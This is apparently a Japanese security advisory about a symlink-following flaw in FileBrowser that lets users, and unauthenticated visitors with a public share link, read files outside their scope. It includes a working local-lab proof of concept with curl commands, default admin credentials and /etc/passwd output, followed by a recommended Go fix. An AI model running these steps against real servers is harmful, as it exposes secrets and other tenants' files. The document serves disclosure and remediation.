FileBrowser: シンボリックリンクの追跡機能により、ユーザーのアクセス範囲外のファイルを読み取ることが可能になる。

## 概要

ファイル読み込みのパスは、`filepath.EvalSymlinks`を使用してシンボリックリンクを解決し、その後、解決されたターゲットに対して処理を行います。この際、ターゲットがユーザーのアクセス範囲内に存在するかどうかを再確認しません。

ユーザーがアクセス可能なディレクトリ内に、アクセス範囲外(例えば、`/etc/passwd`、他のテナントのディレクトリ、SSHキー、またはコンテナのシークレットなど)を指すシンボリックリンクが存在する場合、そのリンクは透過的に追跡され、その内容が通常のダウンロード、プレビュー、メディア、およびOnlyOfficeのエンドポイントを通じて提供されます。ダウンロードアクセス権を持つ認証されたユーザーは、サーバープロセスがアクセスできる場所であれば、どこにでもファイルを読み取ることができます。シンボリックリンクがそのユーザーのアクセス範囲内に存在する場合に限り、読み取りが可能になります。

同様のシンボリックリンク追跡機能は、共有エンドポイントでも使用されます。これらのエンドポイントは、アカウント情報ではなく、共有ハッシュのみによって認証されます。したがって、共有リンクを通じて公開されているディレクトリに、上記のようなシンボリックリンクが含まれている場合、認証されていない攻撃者が共有リンクのみを使用して、アクセス範囲外のファイルを、認証情報なしで読み取ることができます。

## 詳細

**1. シンボリックリンクの解決処理は、アクセス制限のチェックを行わない (`indexing/iteminfo/utils.go:110-119`)**

```go
func ResolveSymlinks(path string) (string, bool, error) {
resolvedPath, err := filepath.EvalSymlinks(path) // リンクを実際のターゲットに解決
if err != nil {
return path, false, fmt.Errorf("could not resolve symlinks for %s: %v", path, err)
}
info, err := os.Lstat(resolvedPath)
// ...
return resolvedPath, IsDirectory(info), nil // アクセス範囲の検証なしで返却
}
```

`resolvedPath`がインデックスまたはアクセス範囲のルートディレクトリと比較されることはありません。

**2. `GetRealPath`は、解決されたターゲットに対してチェックを行わずに値を返す (`indexing/indexingFiles.go:991-1008`)**

```go
absolutePath, err := filepath.Abs(joinedPath)
// ...
realPath, isDir, err := iteminfo.ResolveSymlinks(absolutePath) // ここでアクセス範囲を回避
// ...
return realPath, isDir, err
```

`realPath` は、ファイルハンドラによってファイルを開き、提供するために使用されます。ただし、呼び出し元が `realPath` がユーザーのソースルートのサブディレクトリであるかどうかを再検証することはありません。(対照的に、このプロジェクトでは、`symlinkTargetStaysUnderDest` を使用してアーカイブの展開に対する保護を追加しましたが、この保護は展開に特化したものであり、この一般的な読み込みパスには適用されません。)

**3. 読み込みハンドラは、認証されていないパブリック共有ハンドラを含む、シンボリックリンクの追跡を要求します (`http/resource.go:96,503`, `http/media.go:124`, `http/onlyOffice.go:133`, `http/public.go:279,441,494`)。**

```go
FollowSymlinks: true,
```

認証されたダウンロード、プレビュー、メディア字幕、および OnlyOffice の読み込みフローはすべて `FollowSymlinks: true` を設定しており、`http/public.go` 内のパブリック共有ハンドラも同様です。パブリックダウンロードのルートは、`publicApi.HandleFunc("GET /resources/download", withHashFile(publicDownloadHandler))` として登録されています (`http/httpRouter.go:130`)。ここで、`withHashFile` は、アカウントなしで、共有ハッシュのみに基づいて認証を行います。したがって、パブリック共有でシンボリックリンクを含むディレクトリが公開されている場合、認証なしで同じエスケープが可能になります。

## PoC (概念実証)

`gtstef/filebrowser:1.3.3-stable` で実際に確認されました。ユーザーのディレクトリ外を指すシンボリックリンクが、そのディレクトリ内に存在する必要があります。ここでは、ホストボリューム上に配置されています。これは、バインドマウントされたディレクトリにシンボリックリンクが含まれている場合に発生します。

**1. 新しいコンテナを開始し、ユーザーが意図したサブツリー外にファイルを配置します。**
```bash
docker rm -f fb-q-lab 2>/dev/null; rm -rf /tmp/fb-q-lab; mkdir -p /tmp/fb-q-lab/srv/user1
echo "ROOT_DB_PASSWORD=supersecret" > /tmp/fb-q-lab/srv/secret-outside.txt
docker run -d --name fb-q-lab -p 8090:80 -v /tmp/fb-q-lab/srv:/srv gtstef/filebrowser:1.3.3-stable && sleep 8
TARGET_URL=http://localhost:8090
```

**2. サービスを提供するディレクトリ内に、そのディレクトリの外を指すシンボリックリンクを配置します。** 1つはホストファイル (`/etc/passwd`) を指し、もう1つはユーザーのサブツリー外のファイルを指します。
```bash
docker exec fb-q-lab sh -c 'ln -sf /etc/passwd /srv/user1/passwd_link; ln -sf /srv/secret-outside.txt /srv/user1/secret_link'
```

### ベクター1:認証済みユーザー(ダウンロードアクセス権を持つアカウント)

**3. デフォルトの管理者としてログインします**(トークンは `auth` クエリパラメータとして渡されます)。
```bash
ADMIN_TOKEN=$(curl -s -X POST "$TARGET_URL/api/auth/login?username=admin" -H "X-Password: admin" | tr -d '"')
```

**4. シンボリックリンクを通じてダウンロードし、スコープ外のファイルを読み取ります。**
```bash
curl -s "$TARGET_URL/api/resources/download?file=/user1/passwd_link&source=srv&auth=$ADMIN_TOKEN" | head -1
curl -s "$TARGET_URL/api/resources/download?file=/user1/secret_link&source=srv&auth=$ADMIN_TOKEN"
```

観察された出力:
```
[passwd_link] root:x:0:0:root:/root:/bin/sh
[secret_link] ROOT_DB_PASSWORD=supersecret
```

### ベクター2:認証なし、パブリック共有経由(アカウントなし)

**5. 所有者がディレクトリのパブリック共有を作成します**(共有機能の通常の利用方法です)。このステップはアカウントが必要です。
```bash
SHARE_HASH=$(curl -s -X POST "$TARGET_URL/api/share?auth=$ADMIN_TOKEN" \
-H 'Content-Type: application/json' -d '{"path":"/user1","source":"srv"}' \
| python3 -c "import sys,json;print(json.load(sys.stdin)['hash'])")
```

**6. パブリック共有のハッシュのみを使用し、認証情報なしで、シンボリックリンクを通じてダウンロードします。**
```bash
curl -s "$TARGET_URL/public/api/resources/download?hash=$SHARE_HASH&file=/passwd_link" | head -1
curl -s "$TARGET_URL/public/api/resources/download?hash=$SHARE_HASH&file=/secret_link"
```

観察された出力:
```
[passwd_link] root:x:0:0:root:/root:/bin/sh (HTTP 200)
[secret_link] ROOT_DB_PASSWORD=supersecret
```

両方のベクトルは、シンボリックリンクを辿り、指定されたディレクトリ以外のコンテンツを返します。
ベクトル1は、`/user1`に制限された、どのスコープを持つ非管理者ユーザーでも動作します。
ベクトル2は、アカウントを全く必要とせず、公開共有リンクのみを使用します。そのため、CVSSスコアでは`PR:N`(特権不要)が使用されています。

## 影響

- **スコープ外の任意のファイルの読み取り:** ダウンロードアクセス権を持つ認証されたユーザーは、サーバープロセスがアクセスできるすべてのファイルを読み取ることができます(ホストの設定、機密情報、SSHキー、`/etc/passwd`、コンテナのサービスアカウントトークン、他のテナントのファイルなど)。
- **認証なしでの読み取り(公開共有経由):** 公開共有のダウンロードパスはシンボリックリンクを辿り、認証は共有ハッシュのみに基づいているため、アカウントを持たない攻撃者は、シンボリックリンクを含むディレクトリへの公開共有リンクのみを使用して、同じスコープ外のファイルを読み取ることができます。これが、CVSSスコアに影響を与える最悪のケースです(`PR:N`)。
- **テナント間のデータ漏洩:** マルチユーザー環境では、あるユーザーがシンボリックリンクを通じて、他のユーザーのスコープ内のファイルにアクセスする可能性があります。
- **広範囲な影響:** この問題は、認証されたダウンロード、プレビュー、メディア/字幕、OnlyOfficeの読み取り機能、および公開共有ハンドラなど、シンボリックリンクを辿るすべての機能に影響を与えます。
- **前提条件:** スコープ外を指すシンボリックリンクが、提供されるディレクトリ内で到達可能である必要があります(認証なしのベクトルでは、公開共有ディレクトリ内)。これは、ホストディレクトリがバインドマウントされている場合(一般的なDockerのデプロイメント)や、スコープが共有ストレージと重複している場合に一般的です。

## 推奨される修正

シンボリックリンクを解決した後、解決された実際のパスがユーザーのソースルート内に含まれていることを確認し、そうでない場合は拒否します。

```go
// indexing/indexingFiles.go, GetRealPath, ResolveSymlinksの後に:
rootReal, _ := filepath.EvalSymlinks(idx.Path)
rel, err := filepath.Rel(rootReal, realPath)
if err != nil || rel == ".." || strings.HasPrefix(rel, ".."+string(os.PathSeparator)) {
return "", false, fmt.Errorf("resolved path escapes source scope")
}
```

`FollowSymlinks` を `true` に設定するすべての読み込みパスに対して、同様の隔離チェック(または既存の `symlinkTargetStaysUnderDest` ロジックの再利用)を適用してください。セキュリティ強化のオプションとして、ソースルートを完全に離れるシンボリックリンクに従うことを拒否する設定を追加することを検討してください。

影響を受けるパッケージ:
- go github.com/gtsteffaniak/filebrowser/backend: 影響あり。バージョン 0.0.0-20260814233832-4126edeb07a0 未満、バージョン 0.0.0-20260814233832-4126edeb07a0 で修正済み。